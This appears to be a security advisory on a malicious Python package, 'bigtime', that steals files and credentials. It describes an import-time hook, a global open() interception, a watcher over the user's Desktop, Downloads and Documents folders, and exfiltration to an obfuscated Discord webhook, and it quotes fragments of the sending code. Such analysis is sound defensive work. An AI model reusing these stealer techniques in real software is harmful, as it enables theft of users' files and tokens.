GCVE-110-OSM-2026-10143

This looks like a credential-and-file exfiltration implant targeting a general-purpose Python import path: `bigtime/__init__.py` auto-loads `qwe900.init`, and `bigtime/qwe900.py` installs a global `builtins.open` hook plus a background watcher over Desktop/Downloads/Documents. The payload decodes a hardcoded Discord webhook and posts collected content with `urllib.request.urlopen` and a `User-Agent: DiscordBot`, which is classic attacker-controlled exfiltration rather than legitimate telemetry. The attacker model is a commodity stealer operator harvesting user files and any data written to disk, then shipping it to Discord C2; the embedded title `New Token Captured` strongly reinforces credential theft intent. The obfuscated base64 layer and minimal metadata (`bigtime.xyz`, no repository, no description) are consistent with a throwaway malicious package. ENTRY bigtime/__init__.py (module-import: 13) DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Python File Upload to Remote in bigtime/qwe900.py: "urllib.request.Request( _WEBHOOK_URL, data=" - Data Encoding for Exfiltration in bigtime/qwe900.py: "json.dumps({"embeds": [embed]}).encode" - Network Request in bigtime/qwe900.py: "Request( _WEBHOOK_URL, data=payload, headers={ "Content-Type": "application/json..." OBFUSCATION - Decoded Base64 Content in bigtime/qwe900.py (x3) - recovered 1 urls, 1 domains from decoded/deobfuscated content PAYLOAD FILES bigtime/qwe900.py